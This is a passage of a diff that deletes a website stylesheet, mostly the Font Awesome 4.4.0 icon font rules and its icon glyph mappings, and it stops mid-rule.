-.align-right {
- float: right;
-}
-
-.clearfix {
- overflow: hidden;
- *zoom: 1;
-}
-
-.col-equal {
- margin-bottom: -99999px;
- padding-bottom: 99999px;
-}
-
-/**
- * ----------------------------------------------------------------------------------------
- * Base Style
- * ----------------------------------------------------------------------------------------
- */
-body {
- background-color: #E0E0E0;
-}
-
-ul, ol {
- margin: 0;
- padding: 0;
-}
-
-ul {
- list-style-type: none;
-}
-
-/**
- * ----------------------------------------------------------------------------------------
- * IE8 style
- * ----------------------------------------------------------------------------------------
- */
-/*!
- * Font Awesome 4.4.0 by @davegandy - http://fontawesome.io - @fontawesome
- * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
- */
-/* FONT PATH
- * -------------------------- */
-@font-face {
- font-family: 'FontAwesome';
- src: url("../fonts/fontawesome-webfont.eot?v=4.4.0");
- src: url("../fonts/fontawesome-webfont.eot?#iefix&v=4.4.0") format("embedded-opentype"), url("../fonts/fontawesome-webfont.woff2?v=4.4.0") format("woff2"), url("../fonts/fontawesome-webfont.woff?v=4.4.0") format("woff"), url("../fonts/fontawesome-webfont.ttf?v=4.4.0") format("truetype"), url("../fonts/fontawesome-webfont.svg?v=4.4.0#fontawesomeregular") format("svg");
- font-weight: normal;
- font-style: normal;
-}
-.fa {
- display: inline-block;
- font: normal normal normal 14px/1 FontAwesome;
- font-size: inherit;
- text-rendering: auto;
- -webkit-font-smoothing: antialiased;
- -moz-osx-font-smoothing: grayscale;
-}
-
-/* makes the font 33% larger relative to the icon container */
-.fa-lg {
- font-size: 1.33333333em;
- line-height: 0.75em;
- vertical-align: -15%;
-}
-
-.fa-2x {
- font-size: 2em;
-}
-
-.fa-3x {
- font-size: 3em;
-}
-
-.fa-4x {
- font-size: 4em;
-}
-
-.fa-5x {
- font-size: 5em;
-}
-
-.fa-fw {
- width: 1.28571429em;
- text-align: center;
-}
-
-.fa-ul {
- padding-left: 0;
- margin-left: 2.14285714em;
- list-style-type: none;
-}
-
-.fa-ul > li {
- position: relative;
-}
-
-.fa-li {
- position: absolute;
- left: -2.14285714em;
- width: 2.14285714em;
- top: 0.14285714em;
- text-align: center;
-}
-
-.fa-li.fa-lg {
- left: -1.85714286em;
-}
-
-.fa-border {
- padding: .2em .25em .15em;
- border: solid 0.08em #eeeeee;
- border-radius: .1em;
-}
-
-.fa-pull-left {
- float: left;
-}
-
-.fa-pull-right {
- float: right;
-}
-
-.fa.fa-pull-left {
- margin-right: .3em;
-}
-
-.fa.fa-pull-right {
- margin-left: .3em;
-}
-
-/* Deprecated as of 4.4.0 */
-.pull-right {
- float: right;
-}
-
-.pull-left {
- float: left;
-}
-
-.fa.pull-left {
- margin-right: .3em;
-}
-
-.fa.pull-right {
- margin-left: .3em;
-}
-
-.fa-spin {
- -webkit-animation: fa-spin 2s infinite linear;
- animation: fa-spin 2s infinite linear;
-}
-
-.fa-pulse {
- -webkit-animation: fa-spin 1s infinite steps(8);
- animation: fa-spin 1s infinite steps(8);
-}
-
-@-webkit-keyframes fa-spin {
- 0% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg);
- }
- 100% {
- -webkit-transform: rotate(359deg);
- transform: rotate(359deg);
- }
-}
-@keyframes fa-spin {
- 0% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg);
- }
- 100% {
- -webkit-transform: rotate(359deg);
- transform: rotate(359deg);
- }
-}
-.fa-rotate-90 {
- filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);
- -webkit-transform: rotate(90deg);
- -ms-transform: rotate(90deg);
- transform: rotate(90deg);
-}
-
-.fa-rotate-180 {
- filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2);
- -webkit-transform: rotate(180deg);
- -ms-transform: rotate(180deg);
- transform: rotate(180deg);
-}
-
-.fa-rotate-270 {
- filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);
- -webkit-transform: rotate(270deg);
- -ms-transform: rotate(270deg);
- transform: rotate(270deg);
-}
-
-.fa-flip-horizontal {
- filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1);
- -webkit-transform: scale(-1, 1);
- -ms-transform: scale(-1, 1);
- transform: scale(-1, 1);
-}
-
-.fa-flip-vertical {
- filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1);
- -webkit-transform: scale(1, -1);
- -ms-transform: scale(1, -1);
- transform: scale(1, -1);
-}
-
-:root .fa-rotate-90,
-:root .fa-rotate-180,
-:root .fa-rotate-270,
-:root .fa-flip-horizontal,
-:root .fa-flip-vertical {
- filter: none;
-}
-
-.fa-stack {
- position: relative;
- display: inline-block;
- width: 2em;
- height: 2em;
- line-height: 2em;
- vertical-align: middle;
-}
-
-.fa-stack-1x,
-.fa-stack-2x {
- position: absolute;
- left: 0;
- width: 100%;
- text-align: center;
-}
-
-.fa-stack-1x {
- line-height: inherit;
-}
-
-.fa-stack-2x {
- font-size: 2em;
-}
-
-.fa-inverse {
- color: #ffffff;
-}
-
-/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
- readers do not read off random characters that represent icons */
-.fa-glass:before {
- content: "\f000";
-}
-
-.fa-music:before {
- content: "\f001";
-}
-
-.fa-search:before {
- content: "\f002";
-}
-
-.fa-envelope-o:before {
- content: "\f003";
-}
-
-.fa-heart:before {
- content: "\f004";
-}
-
-.fa-star:before {
- content: "\f005";
-}
-
-.fa-star-o:before {
- content: "\f006";
-}
-
-.fa-user:before {
- content: "\f007";
-}
-
-.fa-film:before {
- content: "\f008";
-}
-
-.fa-th-large:before {
- content: "\f009";
-}
-
-.fa-th:before {
- content: "\f00a";
-}
-
-.fa-th-list:before {
- content: "\f00b";
-}
-
-.fa-check:before {
- content: "\f00c";
-}
-
-.fa-remove:before,
-.fa-close:before,
-.fa-times:before {
- content: "\f00d";
-}
-
-.fa-search-plus:before {
- content: "\f00e";
-}
-
-.fa-search-minus:before {
- content: "\f010";
-}
-
-.fa-power-off:before {
- content: "\f011";
-}
-
-.fa-signal:before {
- content: "\f012";
-}
-
-.fa-gear:before,
-.fa-cog:before {
- content: "\f013";
-}
-
-.fa-trash-o:before {
- content: "\f014";
-}
-
-.fa-home:before {
- content: "\f015";
-}
-
-.fa-file-o:before {
- content: "\f016";
-}
-
-.fa-clock-o:before {
- content: "\f017";
-}
-
-.fa-road:before {
- content: "\f018";
-}
-
-.fa-download:before {
- content: "\f019";
-}
-
-.fa-arrow-circle-o-down:before {
- content: "\f01a";
-}
-
-.fa-arrow-circle-o-up:before {
- content: "\f01b";
-}
-
-.fa-inbox:before {
- content: "\f01c";
-}
-
-.fa-play-circle-o:before {
- content: "\f01d";
-}
-
-.fa-rotate-right:before,
-.fa-repeat:before {
- content: "\f01e";
-}
-
-.fa-refresh:before {
- content: "\f021";
-}
-
-.fa-list-alt:before {
- content: "\f022";
-}
-
-.fa-lock:before {
- content: "\f023";
-}
-
-.fa-flag:before {
- content: "\f024";
-}
-
-.fa-headphones:before {
- content: "\f025";
-}
-
-.fa-volume-off:before {
- content: "\f026";
-}
-
-.fa-volume-down:before {
- content: "\f027";
-}
-
-.fa-volume-up:before {
- content: "\f028";
-}
-
-.fa-qrcode:before {
- content: "\f029";
-}
-
-.fa-barcode:before {
- content: "\f02a";
-}
-
-.fa-tag:before {
- content: "\f02b";
-}
-
-.fa-tags:before {
- content: "\f02c";
-}
-
-.fa-book:before {
- content: "\f02d";
-}
-
-.fa-bookmark:before {
- content: "\f02e";
-}
-
-.fa-print:before {
- content: "\f02f";
-}
-
-.fa-camera:before {
- content: "\f030";
-}
-
-.fa-font:before {
- content: "\f031";
-}
-
-.fa-bold:before {
- content: "\f032";
-}
-
-.fa-italic:before {
- content: "\f033";
-}
-
-.fa-text-height:before {
- content: "\f034";
-}
-
-.fa-text-width:before {
- content: "\f035";
-}
-
-.fa-align-left:before {
- content: "\f036";
-}
-
-.fa-align-center:before {
- content: "\f037";
-}
-
-.fa-align-right:before {
- content: "\f038";
-}
-
-.fa-align-justify:before {
- content: "\f039";
-}
-
-.fa-list:before {
- content: "\f03a";
-}
-
-.fa-dedent:before,
-.fa-outdent:before {
- content: "\f03b";
-}
-
-.fa-indent:before {
- content: "\f03c";
-}
-
-.fa-video-camera:before {
- content: "\f03d";
-}
-
-.fa-photo:before,
-.fa-image:before,
-.fa-picture-o:before {
- content: "\f03e";
-}
-
-.fa-pencil:before {
- content: "\f040";
-}
-
-.fa-map-marker:before {
- content: "\f041";
-}
-
-.fa-adjust:before {
- content: "\f042";
-}
-
-.fa-tint:before {
- content: "\f043";
-}
-
-.fa-edit:before,
-.fa-pencil-square-o:before {
- content: "\f044";
-}
-
-.fa-share-square-o:before {
- content: "\f045";
-}
-
-.fa-check-square-o:before {
- content: "\f046";
-}
-
-.fa-arrows:before {
- content: "\f047";
-}
-
-.fa-step-backward:before {
- content: "\f048";
-}
-
-.fa-fast-backward:before {
- content: "\f049";
-}
-
-.fa-backward:before {
- content: "\f04a";
-}
-
-.fa-play:before {
- content: "\f04b";
-}
-
-.fa-pause:before {
- content: "\f04c";
-}
-
-.fa-stop:before {
- content: "\f04d";
-}
-
-.fa-forward:before {
- content: "\f04e";
-}
-
-.fa-fast-forward:before {
- content: "\f050";
-}
-
-.fa-step-forward:before {
- content: "\f051";
-}
-
-.fa-eject:before {
- content: "\f052";
-}
-
-.fa-chevron-left:before {
- content: "\f053";
-}
-
-.fa-chevron-right:before {
- content: "\f054";
-}
-
-.fa-plus-circle:before {
- content: "\f055";
-}
-
-.fa-minus-circle:before {
- content: "\f056";
-}
-
-.fa-times-circle:before {
- content: "\f057";
-}
-
-.fa-check-circle:before {
- content: "\f058";
-}
-
-.fa-question-circle:before {
- content: "\f059";
-}
-
-.fa-info-circle:before {
- content: "\f05a";
-}
-
-.fa-crosshairs:before {
- content: "\f05b";
-}
-
-.fa-times-circle-o:before {
- content: "\f05c";
-}
-
-.fa-check-circle-o:before {
- content: "\f05d";
-}
-
-.fa-ban:before {
- content: "\f05e";
-}
-
-.fa-arrow-left:before {
- content: "\f060";
-}
-
-.fa-arrow-right:before {
- content: "\f061";
-}
-
-.fa-arrow-up:before {
- content: "\f062";
-}
-
-.fa-arrow-down:before {
- content: "\f063";
-}
-
-.fa-mail-forward:before,
-.fa-share:before {
- content: "\f064";
-}
-
-.fa-expand:before {
- content: "\f065";
-}
-
-.fa-compress:before {
- content: "\f066";
-}
-
-.fa-plus:before {
- content: "\f067";
-}
-
-.fa-minus:before {
- content: "\f068";
-}
-
-.fa-asterisk:before {
- content: "\f069";
-}
-
-.fa-exclamation-circle:before {
- content: "\f06a";
-}
-
-.fa-gift:before {
- content: "\f06b";
-}
-
-.fa-leaf:before {
- content: "\f06c";
-}
-
-.fa-fire:before {
- content: "\f06d";
-}
-
-.fa-eye:before {
- content: "\f06e";
-}
-
-.fa-eye-slash:before {
- content: "\f070";
-}
-
-.fa-warning:before,
-.fa-exclamation-triangle:before {
- content: "\f071";
-}
-
-.fa-plane:before {
- content: "\f072";
-}
-
-.fa-calendar:before {
- content: "\f073";
-}
-
-.fa-random:before {
- content: "\f074";
-}
-
-.fa-comment:before {
- content: "\f075";
-}
-
-.fa-magnet:before {
- content: "\f076";
-}
-
-.fa-chevron-up:before {
- content: "\f077";
-}
-
-.fa-chevron-down:before {
- content: "\f078";
-}
-
-.fa-retweet:before {
- content: "\f079";
-}
-
-.fa-shopping-cart:before {
- content: "\f07a";
-}
-
-.fa-folder:before {
- content: "\f07b";
-}
-
-.fa-folder-open:before {
- content: "\f07c";
-}
-
-.fa-arrows-v:before {
- content: "\f07d";
-}
-
-.fa-arrows-h:before {
- content: "\f07e";
-}
-
-.fa-bar-chart-o:before,
-.fa-bar-chart:before {
- content: "\f080";
-}
-
-.fa-twitter-square:before {
- content: "\f081";
-}
-
-.fa-facebook-square:before {
- content: "\f082";
-}
-
-.fa-camera-retro:before {
- content: "\f083";
-}
-
-.fa-key:before {
- content: "\f084";
-}
-
-.fa-gears:before,
-.fa-cogs:before {
- content: "\f085";
-}
-
-.fa-comments:before {
- content: "\f086";
-}
-
-.fa-thumbs-o-up:before {
- content: "\f087";
-}
-
-.fa-thumbs-o-down:before {
- content: "\f088";
-}
-
-.fa-star-half:before {
- content: "\f089";
-}
-
-.fa-heart-o:before {
- content: "\f08a";
-}
-
-.fa-sign-out:before {
- content: "\f08b";
-}
-
-.fa-linkedin-square:before {
- content: "\f08c";
-}
-
-.fa-thumb-tack:before {
- content: "\f08d";
-}
-
-.fa-external-link:before {
- content: "\f08e";
-}
-
-.fa-sign-in:before {
- content: "\f090";
-}
-
-.fa-trophy:before {
- content: "\f091";
-}
-
-.fa-github-square:before {
- content: "\f092";
-}
-
-.fa-upload:before {
- content: "\f093";
-}
-
-.fa-lemon-o:before {
- content: "\f094";
-}
-
-.fa-phone:before {
- content: "\f095";
-}
-
-.fa-square-o:before {
- content: "\f096";
-}
-
-.fa-bookmark-o:before {
- content: "\f097";
-}
-
-.fa-phone-square:before {
- content: "\f098";
-}
-
-.fa-twitter:before {
- content: "\f099";
-}
-
-.fa-facebook-f:before,
-.fa-facebook:before {
- content: "\f09a";
-}
-
-.fa-github:before {
- content: "\f09b";
-}
-
-.fa-unlock:before {
- content: "\f09c";
-}
-
-.fa-credit-card:before {
- content: "\f09d";
-}
-
-.fa-feed:before,
-.fa-rss:before {
- content: "\f09e";
-}
-
-.fa-hdd-o:before {
- content: "\f0a0";
-}
-
-.fa-bullhorn:before {
- content: "\f0a1";
-}
-
-.fa-bell:before {
- content: "\f0f3";
-}
-
-.fa-certificate:before {
- content: "\f0a3";
-}
-
-.fa-hand-o-right:before {
- content: "\f0a4";
-}
-
-.fa-hand-o-left:before {
- content: "\f0a5";
-}
-
-.fa-hand-o-up:before {
- content: "\f0a6";
-}
-
-.fa-hand-o-down:before {
- content: "\f0a7";
-}
-
-.fa-arrow-circle-left:before {
- content: "\f0a8";
-}
-
-.fa-arrow-circle-right:before {
- content: "\f0a9";
-}
-
-.fa-arrow-circle-up:before {
- content: "\f0aa";
-}
-
-.fa-arrow-circle-down:before {
- content: "\f0ab";
-}
-
-.fa-globe:before {
- content: "\f0ac";
-}
-
-.fa-wrench:before {
- content: "\f0ad";
-}
-
-.fa-tasks:before {
- content: "\f0ae";
-}
-
-.fa-filter:before {
- content: "\f0b0";
-}
-
-.fa-briefcase:before {
- content: "\f0b1";
-}
-
-.fa-arrows-alt:before {
- content: "\f0b2";
-}
-
-.fa-group:before,
-.fa-users:before {
- content: "\f0c0";
-}
-
-.fa-chain:before,
-.fa-link:before {
- content: "\f0c1";
-}
-
-.fa-cloud:before {
- content: "\f0c2";
-}
-
-.fa-flask:before {
- content: "\f0c3";
-}
-
-.fa-cut:before,
-.fa-scissors:before {
- content: "\f0c4";
-}
-
-.fa-copy:before,
-.fa-files-o:before {
- content: "\f0c5";
-}
-
-.fa-paperclip:before {
- content: "\f0c6";
-}
-
-.fa-save:before,
-.fa-floppy-o:before {
- content: "\f0c7";
-}
-
-.fa-square:before {
- content: "\f0c8";
-}
-
-.fa-navicon:before,
-.fa-reorder:before,
-.fa-bars:before {
- content: "\f0c9";
-}
-
-.fa-list-ul:before {
- content: "\f0ca";
-}
-
-.fa-list-ol:before {
- content: "\f0cb";
-}
-
-.fa-strikethrough:before {
- content: "\f0cc";
-}
-
-.fa-underline:before {
- content: "\f0cd";
-}
-
-.fa-table:before {
- content: "\f0ce";
-}
-
-.fa-magic:before {
- content: "\f0d0";
-}
-
-.fa-truck:before {
- content: "\f0d1";
-}
-
-.fa-pinterest:before {
- content: "\f0d2";
-}
-
-.fa-pinterest-square:before {
- content: "\f0d3";
-}
-
-.fa-google-plus-square:before {
- content: "\f0d4";
-}
-
-.fa-google-plus:before {
- content: "\f0d5";
-}
-
-.fa-money:before {
- content: "\f0d6";
-}
-
-.fa-caret-down:before {
- content: "\f0d7";
-}
-
-.fa-caret-up:before {
- content: "\f0d8";
-}
-
-.fa-caret-left:before {
- content: "\f0d9";
-}
-
-.fa-caret-right:before {
- content: "\f0da";
-}
-
-.fa-columns:before {
- content: "\f0db";
-}
-
-.fa-unsorted:before,
-.fa-sort:before {
- content: "\f0dc";
-}
-
-.fa-sort-down:before,
-.fa-sort-desc:before {
- content: "\f0dd";
-}
-
-.fa-sort-up:before,
-.fa-sort-asc:before {
- content: "\f0de";
-}
-
-.fa-envelope:before {
- content: "\f0e0";
-}
-
-.fa-linkedin:before {
- content: "\f0e1";
-}
-
-.fa-rotate-left:before,
-.fa-undo:before {
- content: "\f0e2";
-}
-
-.fa-legal:before,
-.fa-gavel:before {
- content: "\f0e3";
-}
-
-.fa-dashboard:before,
-.fa-tachometer:before {
- content: "\f0e4";
-}
-
-.fa-comment-o:before {
- content: "\f0e5";
-}
-
-.fa-comments-o:before {
- content: "\f0e6";
-}
-
-.fa-flash:before,
-.fa-bolt:before {
- content: "\f0e7";
-}
-
-.fa-sitemap:before {
- content: "\f0e8";
-}
-
-.fa-umbrella:before {
- content: "\f0e9";
-}
-
-.fa-paste:before,
-.fa-clipboard:before {
- content: "\f0ea";
-}
-
-.fa-lightbulb-o:before {
- content: "\f0eb";
-}
-
-.fa-exchange:before {
- content: "\f0ec";
-}
-
-.fa-cloud-download:before {
- content: "\f0ed";
-}
-
-.fa-cloud-upload:before {
- content: "\f0ee";
-}
-
-.fa-user-md:before {
- content: "\f0f0";
-}
-
-.fa-stethoscope:before {
- content: "\f0f1";
-}
-
-.fa-suitcase:before {
- content: "\f0f2";
-}
-
-.fa-bell-o:before {
- content: "\f0a2";
-}
-
-.fa-coffee:before {
- content: "\f0f4";
-}
-
-.fa-cutlery:before {
- content: "\f0f5";
-}
-
-.fa-file-text-o:before {
- content: "\f0f6";
-}
-
-.fa-building-o:before {
- content: "\f0f7";
-}
-
-.fa-hospital-o:before {
- content: "\f0f8";
-}
-
-.fa-ambulance:before {
- content: "\f0f9";
-}
-
-.fa-medkit:before {
- content: "\f0fa";
-}
-
-.fa-fighter-jet:before {
- content: "\f0fb";
-}
-
-.fa-beer:before {
- content: "\f0fc";
-}
-
-.fa-h-square:before {
- content: "\f0fd";
-}
-
-.fa-plus-square:before {
- content: "\f0fe";
-}
-
-.fa-angle-double-left:before {
- content: "\f100";
-}
-
-.fa-angle-double-right:before {
- content: "\f101";
-}
-
-.fa-angle-double-up:before {
- content: "\f102";
-}
-
-.fa-angle-double-down:before {
- content: "\f103";
-}
-
-.fa-angle-left:before {
- content: "\f104";
-}
-
-.fa-angle-right:before {
- content: "\f105";
-}
-
-.fa-angle-up:before {
- content: "\f106";
-}
-
-.fa-angle-down:before {
- content: "\f107";
-}
-
-.fa-desktop:before {
- content: "\f108";
-}
-
-.fa-laptop:before {
- content: "\f109";
-}
-
-.fa-tablet:before {
- content: "\f10a";
-}
-
-.fa-mobile-phone:before,
-.fa-mobile:before {
- content: "\f10b";
-}
-
-.fa-circle-o:before {
- content: "\f10c";
-}
-
-.fa-quote-left:before {
- content: "\f10d";
-}
-
-.fa-quote-right:before {
- content: "\f10e";
-}
-
-.fa-spinner:before {
- content: "\f110";
-}
-
-.fa-circle:before {
- content: "\f111";
-}
-
-.fa-mail-reply:before,
-.fa-reply:before {
- content: "\f112";
-}
-
-.fa-github-alt:before {
- content: "\f113";
-}
-
-.fa-folder-o:before {
- content: "\f114";
-}
-
-.fa-folder-open-o:before {
- content: "\f115";
-}
-
-.fa-smile-o:before {
- content: "\f118";
-}
-
-.fa-frown-o:before {
- content: "\f119";
-}
-
-.fa-meh-o:before {
- content: "\f11a";
-}
-
-.fa-gamepad:before {
- content: "\f11b";
-}
-
-.fa-keyboard-o:before {
- content: "\f11c";
-}
-
-.fa-flag-o:before {
- content: "\f11d";
-}
-
-.fa-flag-checkered:before {
- content: "\f11e";
-}
-
-.fa-terminal:before {
- content: "\f120";
-}
-
-.fa-code:before {
- content: "\f121";
-}
-
-.fa-mail-reply-all:before,
-.fa-reply-all:before {
- content: "\f122";
-}
-
-.fa-star-half-empty:before,
-.fa-star-half-full:before,
-.fa-star-half-o:before {
- content: "\f123";
-}
-
-.fa-location-arrow:before {
- content: "\f124";
-}
-
-.fa-crop:before {
- content: "\f125";
-}
-
-.fa-code-fork:before {
- content: "\f126";
-}
-
-.fa-unlink:before,
-.fa-chain-broken:before {
- content: "\f127";
-}
-
-.fa-question:before {
- content: "\f128";
-}
-
-.fa-info:before {
- content: "\f129";
-}
-
-.fa-exclamation:before {
- content: "\f12a";
-}
-
-.fa-superscript:before {
- content: "\f12b";
-}
-
-.fa-subscript:before {
- content: "\f12c";
-}
-
-.fa-eraser:before {
- content: "\f12d";
-}
-
-.fa-puzzle-piece:before {
- content: "\f12e";
-}
-
-.fa-microphone:before {
- content: "\f130";
-}
-
-.fa-microphone-slash:before {
- content: "\f131";
-}
-
-.fa-shield:before {
- content: "\f132";
-}
-
-.fa-calendar-o:before {
- content: "\f133";
-}
-
-.fa-fire-extinguisher:before {
- content: "\f134";
-}
-
-.fa-rocket:before {
- content: "\f135";
-}
-
-.fa-maxcdn:before {
- content: "\f136";
-}
-
-.fa-chevron-circle-left:before {
- content: "\f137";
-}
-
-.fa-chevron-circle-right:before {
- content: "\f138";
-}
-
-.fa-chevron-circle-up:before {
- content: "\f139";
-}
-
-.fa-chevron-circle-down:before {
- content: "\f13a";
-}
-
-.fa-html5:before {
- content: "\f13b";
-}
-
-.fa-css3:before {
- content: "\f13c";
-}
-
-.fa-anchor:before {
- content: "\f13d";
-}
-
-.fa-unlock-alt:before {
- content: "\f13e";
-}
-
-.fa-bullseye:before {
- content: "\f140";
-}
-
-.fa-ellipsis-h:before {
- content: "\f141";
-}
-
-.fa-ellipsis-v:before {
- content: "\f142";
-}
-
-.fa-rss-square:before {
- content: "\f143";
-}
-
-.fa-play-circle:before {
- content: "\f144";
-}
-
-.fa-ticket:before {
- content: "\f145";
-}
-
-.fa-minus-square:before {
- content: "\f146";
-}
-
-.fa-minus-square-o:before {
- content: "\f147";
-}
-
-.fa-level-up:before {
- content: "\f148";
-}
-
-.fa-level-down:before {
- content: "\f149";
-}
-
-.fa-check-square:before {
- content: "\f14a";
-}
-
-.fa-pencil-square:before {
- content: "\f14b";
-}
-
-.fa-external-link-square:before {
- content: "\f14c";
-}
-
-.fa-share-square:before {
- content: "\f14d";
-}
-
-.fa-compass:before {
- content: "\f14e";
-}
-
-.fa-toggle-down:before,
-.fa-caret-square-o-down:before {
- content: "\f150";
-}
-
-.fa-toggle-up:before,
-.fa-caret-square-o-up:before {
- content: "\f151";
-}
-
-.fa-toggle-right:before,
-.fa-caret-square-o-right:before {
- content: "\f152";
-}
-
-.fa-euro:before,
-.fa-eur:before {
- content: "\f153";
-}
-
-.fa-gbp:before {
- content: "\f154";
-}
-
-.fa-dollar:before,
-.fa-usd:before {
- content: "\f155";
-}
-
-.fa-rupee:before,
-.fa-inr:before {
- content: "\f156";
-}
-
-.fa-cny:before,
-.fa-rmb:before,
-.fa-yen:before,
-.fa-jpy:before {
- content: "\f157";
-}
-
-.fa-ruble:before,
-.fa-rouble:before,
-.fa-rub:before {
- content: "\f158";
-}
-
-.fa-won:before,
-.fa-krw:before {
- content: "\f159";
-}
-
-.fa-bitcoin:before,
-.fa-btc:before {
- content: "\f15a";
-}
-
-.fa-file:before {
- content: "\f15b";
-}
-
-.fa-file-text:before {
- content: "\f15c";
-}
-
-.fa-sort-alpha-asc:before {
- content: "\f15d";
-}
-
-.fa-sort-alpha-desc:before {
- content: "\f15e";
-}
-
-.fa-sort-amount-asc:before {
- content: "\f160";
-}
-
-.fa-sort-amount-desc:before {
- content: "\f161";
-}
-
-.fa-sort-numeric-asc:before {
- content: "\f162";
-}
-
-.fa-sort-numeric-desc:before {
- content: "\f163";
-}
-
-.fa-thumbs-up:before {
- content: "\f164";
-}
-
-.fa-thumbs-down:before {
- content: "\f165";
-}
-
-.fa-youtube-square:before {
- content: "\f166";
-}
-
-.fa-youtube:before {
- content: "\f167";
-}
-
-.fa-xing:before {
- content: "\f168";
-}
-
-.fa-xing-square:before {
- content: "\f169";
-}
-
-.fa-youtube-play:before {
- content: "\f16a";
-}
-
-.fa-dropbox:before {
- content: "\f16b";
-}
-
-.fa-stack-overflow:before {
- content: "\f16c";
-}
-
-.fa-instagram:before {
- content: "\f16d";
-}
-
-.fa-flickr:before {
- content: "\f16e";
-}
-
-.fa-adn:before {
- content: "\f170";
-}
-
-.fa-bitbucket:before {
- content: "\f171";
-}
-
-.fa-bitbucket-square:before {
- content: "\f172";
-}
-
-.fa-tumblr:before {
- content: "\f173";
-}
-
-.fa-tumblr-square:before {
- content: "\f174";
-}
-
-.fa-long-arrow-down:before {
- content: "\f175";
-}
-
-.fa-long-arrow-up:before {
- content: "\f176";
-}
-
-.fa-long-arrow-left:before {
- content: "\f177";
-}
-
-.fa-long-arrow-right:before {
- content: "\f178";
-}
-
-.fa-apple:before {
- content: "\f179";
-}
-
-.fa-windows:before {
- content: "\f17a";
-}
-
-.fa-android:before {
- content: "\f17b";
-}
-
-.fa-linux:before {
- content: "\f17c";
-}
-
-.fa-dribbble:before {
- content: "\f17d";
-}
-
-.fa-skype:before {
- content: "\f17e";
-}
-
-.fa-foursquare:before {
- content: "\f180";
-}
-
-.fa-trello:before {
- content: "\f181";
-}
-
-.fa-female:before {
- content: "\f182";
-}
-
-.fa-male:before {
- content: "\f183";
-}
-
-.fa-gittip:before,
-.fa-gratipay:before {
- content: "\f184";
-}
-
-.fa-sun-o:before {
- content: "\f185";
-}
-
-.fa-moon-o:before {
- content: "\f186";
-}
-
-.fa-archive:before {
- content: "\f187";
-}
-
-.fa-bug:before {
- content: "\f188";
-}
-
-.fa-vk:before {
- content: "\f189";
-}
-
-.fa-weibo:before {
- content: "\f18a";
-}
-
-.fa-renren:before {
- content: "\f18b";
-}
-
-.fa-pagelines:before {
- content: "\f18c";
-}
-
-.fa-stack-exchange:before {
- content: "\f18d";
-}
-
-.fa-arrow-circle-o-right:before {
- content: "\f18e";
-}
-
-.fa-arrow-circle-o-left:before {
- content: "\f190";
-}
-
-.fa-toggle-left:before,
-.fa-caret-square-o-left:before {
- content: "\f191";
-}
-
-.fa-dot-circle-o:before {
- content: "\f192";
-}
-
-.fa-wheelchair:before {
- content: "\f193";
-}
-
-.fa-vimeo-square:before {
- content: "\f194";
-}
-
-.fa-turkish-lira:before,
-.fa-try:before {
- content: "\f195";
-}
-
-.fa-plus-square-o:before {
- content: "\f196";
-}
-
-.fa-space-shuttle:before {
- content: "\f197";
-}
-
-.fa-slack:before {
- content: "\f198";
-}
-
-.fa-envelope-square:before {
- content: "\f199";
-}
-
-.fa-wordpress:before {
- content: "\f19a";
-}
-
-.fa-openid:before {
- content: "\f19b";
-}
-
-.fa-institution:before,
-.fa-bank:before,
-.fa-university:before {
- content: "\f19c";
-}
-
-.fa-mortar-board:before,
-.fa-graduation-cap:before {
- content: "\f19d";
-}
-
-.fa-yahoo:before {
- content: "\f19e";
-}
-
-.fa-google:before {
- content: "\f1a0";
-}
-
-.fa-reddit:before {
- content: "\f1a1";
-}
-
-.fa-reddit-square:before {
- content: "\f1a2";
-}
-
-.fa-stumbleupon-circle:before {
- content: "\f1a3";
-}
-
-.fa-stumbleupon:before {
- content: "\f1a4";
-}
-
-.fa-delicious:before {
- content: "\f1a5";
-}
-
-.fa-digg:before {
- content: "\f1a6";
-}
-
-.fa-pied-piper:before {
- content: "\f1a7";
-}
-
-.fa-pied-piper-alt:before {
- content: "\f1a8";
-}
-
-.fa-drupal:before {
- content: "\f1a9";
-}
-
-.fa-joomla:before {
- content: "\f1aa";
-}
-
-.fa-language:before {
- content: "\f1ab";
-}
-
-.fa-fax:before {
- content: "\f1ac";
-}
-
-.fa-building:before {
- content: "\f1ad";
-}
-
-.fa-child:before {
- content: "\f1ae";
-}
-
-.fa-paw:before {
- content: "\f1b0";
-}
-
-.fa-spoon:before {
- content: "\f1b1";
-}
-
-.fa-cube:before {
- content: "\f1b2";
-}
-
-.fa-cubes:before {
- content: "\f1b3";
-}
-
-.fa-behance:before {
- content: "\f1b4";
-}
-
-.fa-behance-square:before {
- content: "\f1b5";
-}
-
-.fa-steam:before {
- content: "\f1b6";
-}
-
-.fa-steam-square:before {
- content: "\f1b7";
-}
-
-.fa-recycle:before {
- content: "\f1b8";
-}
-
-.fa-automobile:before,
-.fa-car:before {
- content: "\f1b9";
-}
-
-.fa-cab:before,
-.fa-taxi:before {
- content: "\f1ba";
-}
-
-.fa-tree:before {
- content: "\f1bb";
-}
-
-.fa-spotify:before {
- content: "\f1bc";
-}
-
-.fa-deviantart:before {
- content: "\f1bd";
-}
-
-.fa-soundcloud:before {
- content: "\f1be";
-}
-
-.fa-database:before {
- content: "\f1c0";
-}
-
-.fa-file-pdf-o:before {
- content: "\f1c1";
-}
-
-.fa-file-word-o:before {
- content: "\f1c2";
-}
-
-.fa-file-excel-o:before {
- content: "\f1c3";
-}
-
-.fa-file-powerpoint-o:before {
- content: "\f1c4";
-}
-
-.fa-file-photo-o:before,
-.fa-file-picture-o:before,
-.fa-file-image-o:before {
- content: "\f1c5";
-}
-
-.fa-file-zip-o:before,
-.fa-file-archive-o:before {
- content: "\f1c6";
-}
-
-.fa-file-sound-o:before,
-.fa-file-audio-o:before {
- content: "\f1c7";
-}
-
-.fa-file-movie-o:before,
-.fa-file-video-o:before {
- content: "\f1c8";
-}
-
-.fa-file-code-o:before {
- content: "\f1c9";
-}
-
-.fa-vine:before {
- content: "\f1ca";
-}
-
-.fa-codepen:before {
- content: "\f1cb";
-}
-
-.fa-jsfiddle:before {
- content: "\f1cc";
-}
-
-.fa-life-bouy:before,
-.fa-life-buoy:before,
-.fa-life-saver:before,
-.fa-support:before,
-.fa-life-ring:before {
